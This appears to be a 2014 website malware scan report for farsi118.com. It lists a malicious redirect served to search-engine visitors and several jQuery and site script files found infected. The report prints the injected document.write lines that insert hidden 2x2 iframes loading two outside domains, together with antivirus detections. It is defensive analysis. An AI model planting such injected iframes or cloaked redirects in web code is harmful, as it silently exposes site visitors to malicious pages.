Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://farsi118.com/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: farsi118.com Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 302 Found Connection: close Date: Wed, 09 Apr 2014 12:43:10 GMT Location: http://pxemarketing.com/mwwd.html?h=928672 Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://farsi118.com/ | 200 OK Content-Length: 87338 Content-Type: text/html | clean |
http://farsi118.com/libs/jquery/jquery.js | 200 OK Content-Length: 91995 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672></iframe>'); (function(a,b){function cu(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cr(a){if(!cg[a]){var b= Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672> Hidden iFrame found. size: 2x2 src: http://pxemarketing.com/mwwd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672> | ||
http://farsi118.com/libs/jquery/jquery.color.js | 200 OK Content-Length: 2947 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672></iframe>'); (function(jQuery){jQuery.each(['backgroundColor','borderBottomColor','borderLeftColor','borderRightColor','borderTopColor','color','o Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672> Hidden iFrame found. size: 2x2 src: http://pxemarketing.com/mwwd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672> | ||
http://farsi118.com/libs/jquery/cookie.js | 200 OK Content-Length: 1688 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672></iframe>'); function createCookie( name, value, days) { value = encodeURI(value); if (days) { var date = new Date(); document.cookie = name+"="+value+expires+"; path=/"; } function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return decodeURI(c.substring(nameEQ.length,c.length)); } return null; } function eraseCookie(name) { createCookie(name,"",-1); } Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672> Hidden iFrame found. size: 2x2 src: http://pxemarketing.com/mwwd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672> | ||
http://farsi118.com/templates/general_modern/js/lib.js | 200 OK Content-Length: 36401 Content-Type: application/javascript | clean |
http://farsi118.com/libs/javascript/flynax.lib.js | 200 OK Content-Length: 29412 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672></iframe>'); var flynaxClass = function(){ this.youTubeFrame = '<iframe width="{width}" height="{height}" src="http://www.yout var prev_field = $(this).attr('id').replace('level'+level, 'level'+prev_level); $('#'+post_field).val( $('#'+prev_field).val() ); }else { $('#'+post_field).val(0); } } }); $('input[name="f[Category_ID]"]').each(function(){ if( $(this).val() != '0' && $(this).val() ) { xajax_multiCatBuild( $(this).val(), $(this).attr('id') ); } }); } } var flynax = new flynaxClass(); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://pxemarketing.com/mwwd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672> Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672> | ||
http://farsi118.com/libs/jquery/jquery.ui.js | 200 OK Content-Length: 156863 Content-Type: application/javascript | clean |
http://farsi118.com/libs/jquery/datePicker/i18n/ui.datepicker-fa.js | 200 OK Content-Length: 956 Content-Type: application/javascript | clean |
http://farsi118.com/libs/ajax/xajax_js/xajax_core.js | 200 OK Content-Length: 35533 Content-Type: application/javascript | clean |
http://farsi118.com/index.php?page=registration | 200 OK Content-Length: 20228 Content-Type: text/html | clean |
http://farsi118.com/libs/jquery/jquery.qtip.js | 200 OK Content-Length: 38731 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672></iframe>'); (function(f){f.fn.qtip=function(B,u){var y,t,A,s,x,w,v,z;if(typeof B=="string"){if(typeof f(this).data("qtip")!=="object"){f.fn.qtip. Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://pxemarketing.com/mwwd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672> Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672> | ||
http://farsi118.com/libs/jquery/jquery.textareaCounter.js | 200 OK Content-Length: 5328 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672></iframe>'); (function($){ $.fn.textareaCount = function(options, fn) { var defaults = { maxCharacterSize: 250, var left_trimmedStr = fullStr.replace(initial_whitespace_rExp, ""); var non_alphanumerics_rExp = rExp = /[^A-Za-z0-9]+/gi; var cleanedStr = left_trimmedStr.replace(non_alphanumerics_rExp, " "); var splitString = cleanedStr.split(" "); return splitString; } function countWord(cleanedWordString){ var word_count = cleanedWordString.length-1; return word_count; } }; })(jQuery); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=928672> Hidden iFrame found. size: 2x2 src: http://pxemarketing.com/mwwd.html?j=928672 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pxemarketing.com/mwwd.html?j=928672> | ||
http://farsi118.com/index.php?page=remind | 200 OK Content-Length: 13143 Content-Type: text/html | clean |
http://farsi118.com/index.php | 200 OK Content-Length: 87338 Content-Type: text/html | clean |
http://farsi118.com/index.php?page=add-listing | 200 OK Content-Length: 14566 Content-Type: text/html | clean |
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=farsi118.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://farsi118.com/
Result: farsi118.com is not infected or malware details are not published yet.
Result: farsi118.com is not infected or malware details are not published yet.